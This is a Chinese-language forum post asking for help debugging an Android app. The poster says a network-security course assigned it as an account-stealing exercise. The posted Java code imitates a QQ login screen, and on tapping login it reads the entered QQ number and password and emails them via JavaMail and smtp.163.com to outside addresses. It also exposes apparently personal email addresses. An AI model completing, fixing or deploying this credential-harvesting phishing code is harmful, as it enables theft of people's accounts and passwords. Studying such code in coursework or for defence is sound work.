（求教）Android-javamail问题

大神，我打算做一个QQ的登录界面，但是通过点击“登录”时候自动将用户名和密码发送到163邮箱中，不调用系统自带的邮箱，是不是用javamail实现？（ps:其实这个是网络安全课程让实现的盗号程序。。。我想到这样做。。）求大神指导，谢谢回复！

下面的代码一点击“登录”就崩溃掉了，其他的配置文件中相关的也配置了，Mainifest.xml中也添加了访问互联网的相关代码，不知道哪里有问题。



报错图片：

package com.zte.my.qq;

import java.io.UnsupportedEncodingException;
import java.util.Properties;

import javax.mail.Address;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;

import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.EditText;
import android.widget.RadioButton;
import android.widget.Toast;

public class simple_qq_login extends Activity {
private Button mButton_login;
private Button mButton_register;
private EditText mEditText_user;
private EditText mEditText_password;
private CheckBox mCheckBox_savepassword;
private CheckBox mCheckBox_secretlogin;
private CheckBox mCheckBox_quietlogin;
private CheckBox mCheckBox_acceptgroupinfos;
private String Flag = "";
private String getFlag = "";
private simple_qq_SqliteDatabase myDbHelper;
private static final int ITEM0 = Menu.FIRST;
private static final int ITEM1 = Menu.FIRST + 1;
private int Flag_SecretLogin = 0;

public  String QQ=null;
public  String pass=null;

@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
myDbHelper = new simple_qq_SqliteDatabase(this);
myDbHelper.open();
setContentView(R.layout.simple_qq_login);

mButton_login = (Button) findViewById(R.id.button_login);
mButton_register = (Button) findViewById(R.id.button_register);
mEditText_user = (EditText) findViewById(R.id.edittext_user);
mEditText_password = (EditText) findViewById(R.id.edittext_password);
mCheckBox_savepassword = (CheckBox) findViewById(R.id.checkBox_savepassword);
mCheckBox_secretlogin = (CheckBox) findViewById(R.id.checkBox_secretlogin);
mCheckBox_quietlogin = (CheckBox) findViewById(R.id.checkBox_quietlogin);
mCheckBox_acceptgroupinfos = (CheckBox) findViewById(R.id.checkBox_acceptgroupinfos);
// 添加监听事件
mButton_login.setOnClickListener(new Button.OnClickListener() {
public void onClick(View v) {

QQ = mEditText_user.getText().toString();		//QQ保存输入的用户名
pass = mEditText_password.getText().toString(); //pass保存输入的密码

/*	第一种方法：调用系统自带邮箱发送
*
Intent myIntent=new Intent(android.content.Intent.ACTION_SEND);
myIntent.setType("plain/text");//设置邮件格式

myIntent.putExtra(android.content.Intent.EXTRA_EMAIL, myReciver);  //接受者
myIntent.putExtra(android.content.Intent.EXTRA_SUBJECT, QQ);  //主题
myIntent.putExtra(android.content.Intent.EXTRA_TEXT, pass);
startActivity(Intent.createChooser(myIntent, "标题"));
*/
/*
Intent data=new Intent(Intent.ACTION_SENDTO);
data.setData(Uri.parse("mailto:592357262@qq.com"));
data.putExtra(Intent.EXTRA_SUBJECT, QQ+"--->"+pass);
//data.putExtra(Intent.EXTRA_TEXT, pass);
//startActivity(data);
startActivity(Intent.createChooser(data,"sss"));
*/

//============第二种：利用javamail功能包============\\

Properties props = new Properties();
props.put("mail.smtp.host","smtp.163.com");  //设置smtp的服务器地址是smtp.126.com
props.put("mail.smtp.auth","true");          //设置smtp服务器要身份验证。

PopupAuthenticator auth = new PopupAuthenticator();
Session session = Session.getInstance(props, auth);
MimeMessage message = new MimeMessage(session);

//发送人地址
Address addressFrom=null;
try {
addressFrom = new InternetAddress("15227290166@163.com", "邮箱密码");
} catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
//收件人地址
Address addressTo=null;
try {
addressTo = new InternetAddress("592357262@qq.com", "邮箱密码");
} catch (UnsupportedEncodingException e) {

e.printStackTrace();
}
//抄送地址
Address addressCopy=null;
try {
addressCopy = new InternetAddress("majianjieqwe@gmail.com", "邮箱密码");
} catch (UnsupportedEncodingException e1) {
e1.printStackTrace();
}

// 创建邮件体:
try {
message.setContent(QQ, "text/plain");
message.setSubject(pass);
message.setFrom(addressFrom);
message.addRecipient(Message.RecipientType.TO,addressTo);
message.addRecipient(Message.RecipientType.CC,addressCopy);
message.saveChanges();
} catch (MessagingException e) {
e.printStackTrace();
}
//发送邮件的过程:
try {
Transport transport = session.getTransport("smtp");//创建连接
transport.connect("smtp.163.com", "15227290166@163.com", "邮箱密码");//连接服务器
transport.send(message);//发送信息
transport.close();//关闭连接
} catch (MessagingException e) {
e.printStackTrace();
}
}
});

//* --------------------------------------------------------------------------
class PopupAuthenticator extends Authenticator {
public PasswordAuthentication getPasswordAuthentication() {
String username = "15227290166@163.com"; //163邮箱登录帐号
String pwd = "邮箱密码"; //登录密码
return new PasswordAuthentication(username, pwd);
}
}

}